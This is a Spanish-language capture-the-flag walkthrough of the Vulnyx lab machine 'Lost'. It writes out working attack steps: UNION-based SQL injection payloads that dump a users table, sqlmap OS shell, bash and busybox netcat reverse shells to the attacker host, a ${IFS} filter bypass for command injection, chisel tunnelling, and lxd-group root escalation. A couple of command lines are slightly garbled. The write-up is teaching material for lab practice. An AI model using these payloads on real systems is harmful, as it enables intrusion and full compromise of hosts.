Lost

Difficulty: Hard

• La IP de la máquina Lost en mi caso:

Recon

1. Realizamos un escaneo con Nmap contra el objetivo:

sudo nmap -sCV -p- --open -T5 192.168.56.110

• Puertos identificados:

  • 22 → Servicio SSH

  • 80 → Servicio web

1. Añadimos el host a /etc/hosts:

echo “192.168.56.110 lost.nyx” >> /etc/hosts

1. Visitamos el objetivo desde el navegador web:

• Nos encontramos una página con una animación de la intro de la serie “Lost”.

1. Parece que estamos un poco a ciegas, vamos a hacer una enumeración de subdominios a ver que encontramos:

wfuzz --hc=404,400 --hl=34 -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-20000.txt -H 'Host: FUZZ.lost.nyx' -u http://lost.nyx

• Subdominio identificado:

  • dev

1. Añadimos el subdominio a /etc/hosts y accedemos al subdominio dev.lost.nyx:

1. Navegamos por el subdominio y encontramos una página que parece interesante por el mensaje que vemos:

• Parece que al dar un ID, podemos ver información sobre el pasajero.

SQL Injection

1. Como prueba, añadimos un id y vemos que se muestra la información de uno de los pasajeros:

1. Cambiamos el valor del id, por una comilla simple ' para forzar un fallo SQL y ver si es vulnerable a inyecciones:

1. Esto funciona, esto quiere decir que el valor del parámetro pasado por la URL no se sanitiza. Probamos una inyección más avanzada:

http://dev.lost.nyx/passengers.php?id=1 or 1=1 -- -

1. Probaremos diferentes inyecciones SQL para obtener más información de la estructura de la base de datos:

http://dev.lost.nyx/passengers.php?id=1 union select schema_name,2,3,4 from information_schema.schemata-- -

• Columnas de la tabla users:

http://dev.lost.nyx/passengers.php?id=1 union select column_name,2,3,4 from information_schema.columns where table_name = 'users'-- -

• Contenido de la tabla users:

http://dev.lost.nyx/passengers.php?id=1 union select username,password,2,3 from users-- -

Password Decode

1. Las credenciales que hemos obtenido, las pasamos a un archivo:

1. Para decodear los hashes se guardarán en un archivo sin el nombre de usuario:

1. Utilizaremos hashcat para crackear los hashes:

hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt

• Pero no conseguimos decodificar ningún hash.

Shell (SQLMap)

1. Para poder seguir avanzando, hemos identificado una vulnerabilidad de inyección SQL, así que utilizaremos SQLMap para obtener una shell:

sqlmap -u "http://dev.lost.nyx/passengers.php?id=1" -p id --os-shell

• Obtenemos una shell y podemos ejecutar comandos de sistema.

Reverse Shell

1. Podemos ejecutar comandos a través de la shell obtenida con sqlmap. Creamos una reverse shell en un archivo .sh con el siguiente contenido:

bash -i >& /dev/tcp/(192.168.56.101)/443 0>&1 python3 -m http.server 8000

• Levantamos un servidor HTTP en nuestra máquina atacante:

python3 -m http.server 8000

• Ponemos una consola Netcat a la escucha en nuestra máquina atacante:

nc -vnlp 443

1. Desde la máquina objetivo descargamos el archivo reverse_shell.sh:

wget http://192.168.56.101:8000/reverse_shell.sh

• Asignamos permisos y ejecutamos el script reverse_shell.sh:

• Recibimos la conexión en la consola a la escucha:

Tratamiento TTY

• El tratamiento de la TTY consiste en convertir una shell básica o limitada (por ejemplo, obtenida por netcat o reverse shell) en una shell totalmente interactiva, para así usar atajos de teclado, limpiar pantalla, mover el cursor, ejecutar editores y comandos interactivos como si fuese una terminal local. Se utiliza principalmente para:

  • Hacer la shell más usable y cómoda (mover con flechas, tabulación, historial, etc.).

  • Permitir ejecutar comandos o programas que requieren una terminal real (TTY), como su, sudo, nano, vi, etc.

1. Hacemos el tratamiento de la TTY:

script /dev/null -c bash
[Ctrl+Z]
stty raw -echo; fg
reset xtermcd
export TERM=xterm
export SHELL=bash

Recon interno

1. Mostramos la información de los puertos a la escucha:

ss -tuln

• Descubrimos el puerto 3000 que no aparecía en el primer escaneo.

Reverse Port Forwarding

1. Se realizará un port forwarding para poder atacar este puerto desde la máquina atacante. Para ello primero preparamos el binario de chisel para traspasarlo:

base64 /usr/bin/chisel > chisel.b64

• En la máquina atacante en 2 shells distintas:

  • Shell 1:

  python3 -m http.server 8000

  • Shell 2:

  chisel server --reverse -p 4000

• Y desde la máquina víctima haremos lo siguiente para descargar chisel y decodearlo:

wget http://192.168.56.101:8000/chisel.b64 -O /tmp/chisel.b64

base64 -d /tmp/chisel.b64 > /tmp/chisel
chmod +x /tmp/chisel
ls -l /tmp/chisel

1. Hacemos el forwarding:

/tmp/chisel client 192.168.56.101:4000 R:3000:127.0.0.1:3000

• Veremos la conexión en la máquina atacante:

• Desde la máquina atacante se podrá acceder al navegador y ver lo que hay en el puerto de la víctima:

http://localhost:3000

Privilege Escalation

1. Al acceder a localhost:3000 desde el navegador, encontramos un input en el que podemos hacer ping a una IP:

• Esto quiere decir que ejecuta comandos de sistema, así que probaremos con alguno del que podamos obtener un output que nos sirva para seguir avanzando en la máquina.

• Lo detecta como malicioso, así que habrá que intentar bypassear el filtro, por ejemplo con caracteres especiales.

• Después de probar con varios caracteres especiales ', !, -- conseguimos el bypass con |.

1. Ahora que podemos bypassear el filtro del input, nos enviaremos una reverse shell, en mi caso generé una en https://www.revshells.com/:

• Ponemos en nuestra máquina atacante una consola con netcat a la escucha:

nc -lvnp 1234

• Ejecutamos la reverse shell en el input:

busybox nc 192.168.56.101 1234 -e sh

• Pero la detecta como maliciosa.

1. Detectará el intento de reverse shell porque lo estamos haciendo directamente. Habrá que reemplazar los espacios por ${IFS}, esto son separadores de campos internos. La shell lo detectará como un espacio y nos permitirá bypassear el filtro del input:

|busybox${IFS}nc${IFS}192.168.56.101${IFS}1234${IFS}-e${IFS}sh

• La página se quedará con el icono de carga y en la consola a la escucha recibiremos la conexión:

1. Mostraremos los privilegios que tiene el usuario:

• Pertenece al grupo lxd.

Privilege Escalation by Group

1. Desde la máquina atacante, tendremos que crear un archivo Alpine y transferirlo a la máquina víctima de la siguiente manera:

sudo wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

sudo bash build-alpine

• Desde la máquina víctima:

• Obtenemos la imagen de la máquina atacante primero moviendonos al directorio /tmp:

cd /tmp 
wget http://192.168.56.101:8000/alpine-v3.22-x86_64-20250926_2158.tar.gz

• Importamos:

lxc image import alpine-v3.22-x86_64-20250926_2158.tar.gz --alias alpine-v3.22

• Nos aseguramos de que se haya importado bien:

lxc image list

• Creamos el contenedor con privilegios:

lxc init alpine-v3.22 privesc -c security.privileged=true

• Añadimos el dispositivo para crear la raíz del host:

lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true

• Iniciamos el contenedor:

lxc start privesc

• Entramos al contenedor con shell:

lxc exec privesc sh

• Accedemos a la raíz montada:

cd /mnt/root

• Confirmamos que somos root:

whoami

Flags

Flag user.txt

• La flag user.txt se encuentra en el directorio /home/jackshephard

Flag root.txt

• La flag root.txt se encuentra en el directorio /root/

Links

• https://www.revshells.com/ ➡️ Plataforma online para generar comandos personalizados de reverse shell para distintos sistemas y lenguajes.

• Ha habido en partes que estuve atascado y si no fuera por los siguientes writeups no hubiese podido continuar:

  • Luca Wolffart: https://github.com/wolffart-luca/Vulnyx/blob/main/lost.md

  • blackpist0l: https://blackpist0l.hashnode.dev/lost-vulnyx-machine